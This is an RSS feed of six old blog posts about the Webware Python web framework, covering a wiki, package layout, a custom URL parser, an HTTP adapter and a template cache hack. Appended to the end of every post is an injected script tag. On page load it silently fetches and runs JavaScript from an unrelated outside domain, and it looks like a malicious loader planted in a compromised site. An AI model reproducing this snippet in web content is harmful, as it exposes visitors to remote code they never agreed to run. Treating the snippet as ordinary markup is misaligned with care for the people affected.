<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Webware</title>
	<atom:link href="http://www.larsen-b.com/topics/python/webware/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Webware Wiki: The anti-product</title>
		<link>http://www.larsen-b.com/Article/113.html</link>
		<comments>http://www.larsen-b.com/Article/113.html#comments</comments>
		<pubDate>Sun, 25 Apr 2004 15:06:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[wiki]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is more a provocation for Ian, than a real post. While looking for a good python wiki, i found http://wiki.w4py.org/thiswiki.html (wiki.Webware) really interesting. And once again this is webware so : you don&#8217;t have a tgz .. but a &#8230; <a href="http://www.larsen-b.com/Article/113.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This is more a provocation for Ian, than a real post.</p>
<p>While looking for a good python wiki, i found <a class="reference" href="http://wiki.w4py.org/thiswiki.html">http://wiki.w4py.org/thiswiki.html</a> (wiki.Webware) really interesting. And once again this is webware so :</p>
<ul class="simple">
<li>you don&#8217;t have a tgz .. but a direct fight with Subversion</li>
<li>this is a really  little piece of code ..</li>
<li>you don&#8217;t have any &#8216;howto install&#8217; ( nor any doc in fact)</li>
<li>it use the LoginKit which is somewhere i don&#8217;t know .. (even the wiki.webware search don&#8217;t know this:)</li>
<li>the install should be hard for a non-webware-developper because:</li>
<li>it came w/ a lib/ folder .. what should i do w/ that ???</li>
<li>and a Context .. ?? (why not a wiki/ folder ??)</li>
<li>I think I missed the new webware developper guides ..</li>
</ul>
<p>I don&#8217;t want to use something else so .. somebody can help me ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/113.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Webware at the Washing Machine Service</title>
		<link>http://www.larsen-b.com/Article/108.html</link>
		<comments>http://www.larsen-b.com/Article/108.html#comments</comments>
		<pubDate>Thu, 08 Apr 2004 21:32:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Webware is one of my favorite webapp. Simply because i understand how it works. There is no magic in.. just a standard Servlet way of think. But on the other side, i really think some part of webware should be &#8230; <a href="http://www.larsen-b.com/Article/108.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Webware is one of my favorite webapp. Simply because i understand how it works. There is no magic in.. just a standard Servlet way of think.</p>
<p>But on the other side, i really think some part of webware should be left out. Look at the standard webware packages:</p>
<ul class="simple">
<li>CGIWrapper</li>
<li>WebKit</li>
<li>WebUtils</li>
<li>MiscUtils</li>
<li>COMKit</li>
<li>MiddleKit</li>
<li>PSP</li>
<li>TaskKit</li>
<li>UserKit</li>
</ul>
<p>Only CGIWrapper / WebKit / WebUtils are used in Webware core. (+ TaskKit) All other stuff are not webware centric, even if they are usually working only by webware developpers:<br />
- COMKit is win32 COM object related (nothing to do w/ webware core)<br />
- MiddleKit is a DB abstraction layer<br />
- PSP is a template language<br />
- UserKit is a user framework ..( someone ever used it ???)</p>
<p>I really think we should provide only a simple package w/ webware core, and find a way to install third parties code as &#8216;Products&#8217;. This is definitly the main feature of Zope.</p>
<p>The recent <a class="reference" href="href=http://sourceforge.net/mailarchive/forum.php?thread_id=4184139&amp;forum_id=3505&gt;">post</a> of Ian on the webware-discuss mailing list show that we shall write webware component like Wiki .. or AuthModule .. and provide them to the community.</p>
<p>I worked on Zope for about 2 years.. and right now when i want to build a simple website for the lab. Webware never come to my mind simply because it enforce me to rewrite the wheel for everything. In common web project we need some core components like auth, or photo gallery .. things that are really simple and provided w/ simple Zope Products. but for webware we only provide some _unusefull_ / _unmaintained_ Kit.</p>
<p>This is not a contestation post! but a open letter to the webware community.</p>
<p>The current webware package try to enforce developper to use some tools (like PSP / MiddleKit) but this is the wrong way. I never used PSP (i hate this syntax).. and MiddleKit has serious competitor, right now. I usually use SQLObject and ZPTPage. But there is no place on the web where a newbie can find that you can write ZPT in webware .. Webware really need a clean way to build Products and a website that present all this stuff to users.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/108.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Custom URLParser for Webware</title>
		<link>http://www.larsen-b.com/Article/91.html</link>
		<comments>http://www.larsen-b.com/Article/91.html#comments</comments>
		<pubDate>Thu, 29 Jan 2004 15:37:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yes it works !! While looking for a way to have some better URL in Webware, than the defaut http://host/Servlet?arg0=..&#38;arg1=, Ian tell me to look at WebKit.URLParser. After a little time looking at the source i managed to do this &#8230; <a href="http://www.larsen-b.com/Article/91.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yes it works !!<br />
While looking for a way to have some better URL in Webware, than the defaut http://host/Servlet?arg0=..&amp;arg1=, Ian tell me to look at WebKit.URLParser. After a little time looking at the source i managed to do this without too much pain. As i can&#8217;t find example on the web, I put this here, if Ian is ok, i will perhaps post this on the wiki.</p>
<pre># put this in your context __init__.py file

class CustomParser(URLParser.URLParser):
"""
Class to do the dispatch of Request it should return a servlet instance
if we return nothing the default Webware behaviour is used
"""

def parse(self,trans,requestPath):
values=string.split(requestPath,'/')

if values[-2] == 'Article':
restPart = '/'
name = 'blog/Article.py'

req = trans.request()
req.setField('id',values[-1])

req._extraURLPath = restPart
req._serverSidePath = name
return URLParser.ServletFactoryManager.servletForFile(trans, name)

# we use the default url handling
return None

urlParser=CustomParser()</pre>
<p>So now url like http://alias.larsen-b.com/Article/1 will map to the servlet Article.py and argument id=1 (http://alias.larsen-b.com/Article?id=1).<br />
Of course this is a really simple example, but you can do things really more funny.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/91.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Webware HTTP Adapter</title>
		<link>http://www.larsen-b.com/Article/71.html</link>
		<comments>http://www.larsen-b.com/Article/71.html#comments</comments>
		<pubDate>Fri, 19 Dec 2003 06:25:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ho, i miss it .. Yesterday, it tested the HttpAdapter for Webware. This is a nice, easy to use (no need to use the cgi or tweak the httpd.conf) Adapter for Webware. To test: Just copy the WebKit/Adapters/HTTPAdapter.py in your &#8230; <a href="http://www.larsen-b.com/Article/71.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ho, i miss it ..<br />
Yesterday, it tested the HttpAdapter for Webware. This is a nice, easy to use (no need to use the cgi or tweak the httpd.conf) Adapter for Webware.</p>
<p>To test: Just copy the WebKit/Adapters/HTTPAdapter.py in your current Webware instance, edit this file to feet w/ your need ( mainly the 2 first vars ), and run it directly.<br />
Now point your mozilla to <a class="reference" href="http://localhost:8080/">http://localhost:8080/</a> and enjoy :)</p>
<p>I haven&#8217;t play w/ Webware since a while.. and i don&#8217;t know the real difference between this and &#8216;Standalone Webkit&#8217; .. but this is pretty kool ..</p>
<p>Now i need to look at the URLHandler as Ian tell me..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/71.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A new blog in Webware ?</title>
		<link>http://www.larsen-b.com/Article/63.html</link>
		<comments>http://www.larsen-b.com/Article/63.html#comments</comments>
		<pubDate>Tue, 09 Dec 2003 22:34:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While loosing some time over python blogs, i just found this blog written in Webware. This sound amaizing since i have already done several things like this, using ww and Modeling but i found that using a RDBDM for a &#8230; <a href="http://www.larsen-b.com/Article/63.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While loosing some time over python blogs, i just found this <a class="reference" href="http://www.exit66.com/wk/Blog">blog</a> written in Webware.</p>
<p>This sound amaizing since i have already done several things like this, using ww and Modeling but i found that using a RDBDM for a little blog ( &lt; 1000 post) isn&#8217;t a good idea. Need a lot of works for DB management, developpement and lot of trouble for migration. In this other side, using plain old fashion text file isn&#8217;t a good way too since you can&#8217;t introduce feature easily .. and writing text file need a lot of work to take care about author and date and so on..</p>
<p>I finally conclude the best way to have something that is usefull ( as a long time process ) it to have a &#8216;object oriented&#8217; store backend. So i choose ZODB, but MetaKit can be a good challenger too.</p>
<p>Another thing that i found usefull in Zope, is the handly of URL. I don&#8217;t need to scratch my hairs playing w/ Apache Rewrite Rules .. and other stuff. I read recently that Webware is to be rewriten.. I hope the dev team will tray to fix this in webware too.</p>
<p>I really think that it should be possible to declare some kind of URL to be handled by a certain Webware Servlet. Perhaps using the same type &lt;=&gt; class mapping as Zope do.. This can of course done w/ Apache Rewrite but i don&#8217;t find this really nice, having to tweak apache config while i&#8217;m developping is awfull for me. ( Even using apache is a bit crudy for me ..)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/63.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AutoMatic cache for Modeling FrameWork in WebWare</title>
		<link>http://www.larsen-b.com/Article/10.html</link>
		<comments>http://www.larsen-b.com/Article/10.html#comments</comments>
		<pubDate>Fri, 22 Aug 2003 21:03:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is my first hack over ZPTPage and Modeling to enable regerating of ZPTPage only when Modeling objects changed .. check out class A: (which is a sample fake Modeling Object) import os,time from ZPTPage import ZPTPage class A: def &#8230; <a href="http://www.larsen-b.com/Article/10.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This is my first hack over ZPTPage and Modeling to enable regerating of ZPTPage only when Modeling objects changed .. check out class A: (which is a sample fake Modeling Object)</p>
<pre><strong>import</strong> <span style="color: #2040a0;">os</span>,<span style="color: #2040a0;">time</span>

<strong>from</strong> <span style="color: #2040a0;">ZPTPage</span> <strong>import</strong> <span style="color: #2040a0;">ZPTPage</span>

<strong>class</strong> <span style="color: #2040a0;">A</span><span style="color: #4444ff;">:</span>
<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __init__</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'B'</span> <span style="color: #4444ff;">*</span> <span style="color: #ff0000;">50</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">willChange</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> getA</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">willRead</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>return</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> setA</span><span style="color: #2040a0;">(self,value)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span><span style="color: #4444ff;">=</span><span style="color: #2040a0;">value</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">willChange</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> willRead</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #444444;">#print "Read %s" % self</span>
        <strong>pass</strong>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> willChange</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">lastChange</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">time</span>.<span style="color: #2040a0;">time</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>class</strong> <span style="color: #2040a0;">HereProxy</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dict</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
<strong>    <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __init__</span><span style="color: #2040a0;">(self,orig)</span>:
</strong>        <strong>print</strong> <span style="color: #008000;">"New Here"</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">orig</span>

<strong>    <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __getitem__</span><span style="color: #2040a0;">(self,key)</span>:
</strong>         <span style="color: #2040a0;">result</span><span style="color: #4444ff;">=</span><span style="color: #2040a0;">getattr</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span>,<span style="color: #2040a0;">key</span><span style="color: #4444ff;">)</span>
         <strong>print</strong> <span style="color: #008000;">"*** %-10s : %s "</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span> <span style="color: #2040a0;">key</span>,<span style="color: #2040a0;">result</span><span style="color: #4444ff;">)</span>
         <span style="color: #2040a0;">cache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span>

         <strong>if</strong> <span style="color: #2040a0;">result</span> <strong>not</strong> <strong>in</strong> <span style="color: #2040a0;">cache</span><span style="color: #4444ff;">:</span>
             <span style="color: #2040a0;">cache</span>.<span style="color: #2040a0;">update</span><span style="color: #4444ff;">(</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #2040a0;">result</span><span style="color: #4444ff;">:</span><span style="color: #2040a0;">result</span>.<span style="color: #2040a0;">lastChange</span> <span style="color: #4444ff;"><strong>}</strong></span><span style="color: #4444ff;">)</span>
         <strong>return</strong> <span style="color: #2040a0;">result</span>

<strong>class</strong> <span style="color: #2040a0;">Main</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">ZPTPage</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __init__</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">A</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">ZPTPage</span>.<span style="color: #2040a0;">__init__</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">here</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">HereProxy</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">validCache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">False</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> writeHTML</span><span style="color: #2040a0;">(self)</span>:
</strong>        <strong>if</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">request</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">hasField</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'A'</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span>.<span style="color: #2040a0;">setA</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">request</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">value</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'A'</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">)</span>

        <span style="color: #2040a0;">cachedFileName</span><span style="color: #4444ff;">=</span><span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">path</span>.<span style="color: #2040a0;">join</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'/tmp/w/'</span>,<span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">+</span><span style="color: #008000;">'.html'</span><span style="color: #4444ff;">)</span>
        <strong>try</strong><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">cache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span>
        <strong>except</strong> <span style="color: #2040a0;">KeyError</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #4444ff;"><strong>}</strong></span>
            <span style="color: #2040a0;">cache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span>

        <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span>

        <span style="color: #444444;">#import pdb;pdb.set_trace()</span>
        <strong>for</strong> <span style="color: #2040a0;">obj</span> <strong>in</strong> <span style="color: #2040a0;">cache</span>.<span style="color: #2040a0;">keys</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
            <strong>try</strong><span style="color: #4444ff;">:</span>
                <strong>print</strong> <span style="color: #2040a0;">obj</span>.<span style="color: #2040a0;">lastChange</span>
                <strong>if</strong> <span style="color: #2040a0;">obj</span>.<span style="color: #2040a0;">lastChange</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span>  <span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">obj</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">:</span>
                    <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span>
                    <strong>break</strong>
            <strong>except</strong> <span style="color: #2040a0;">AttributeError</span><span style="color: #4444ff;">:</span>
                <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span>
                <strong>break</strong>

        <strong>if</strong> <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">:</span>
            <strong>print</strong> <span style="color: #008000;">"*** Serving cache %s ***"</span>  <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <strong>try</strong><span style="color: #4444ff;">:</span>
                <span style="color: #2040a0;">data</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cachedFileName</span>,<span style="color: #008000;">'r'</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">read</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <strong>except</strong> <span style="color: #2040a0;">IOError</span><span style="color: #4444ff;">:</span>
                <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span>

        <strong>if</strong> <span style="color: #2040a0;">needUpdate</span><span style="color: #4444ff;">:</span>
            <strong>print</strong> <span style="color: #008000;">"*** Regerating %s ***"</span>  <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">buildContext</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <span style="color: #2040a0;">data</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">template</span>.<span style="color: #2040a0;">render</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cachedFileName</span>,<span style="color: #008000;">'w'</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">write</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">data</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">response</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">setHeader</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'Content-type'</span>, <span style="color: #008000;">'text/html; charset=UTF-8'</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">writeln</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">data</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> buildContext</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">updateContext</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'text'</span>,<span style="color: #008000;">'Toto'</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> getTime</span><span style="color: #2040a0;">(self)</span>:
</strong>        <strong>import</strong> <span style="color: #2040a0;">time</span>
        <strong>return</strong> <span style="color: #2040a0;">time</span>.<span style="color: #2040a0;">time</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> getHere</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #444444;">#return {'a':A()}</span>
        <strong>return</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">here</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> sleep</span><span style="color: #2040a0;">(self,context)</span>:
</strong>        <strong>print</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span>
        <span style="color: #2040a0;">ZPTPage</span>.<span style="color: #2040a0;">sleep</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span>,<span style="color: #2040a0;">context</span><span style="color: #4444ff;">)</span>

    <span style="color: #444444;">### cache ###</span>
<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> hashCache</span><span style="color: #2040a0;">(self)</span>:
</strong>        <strong>return</strong> <span style="color: #008000;">"MainTemplate"</span></pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/10.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
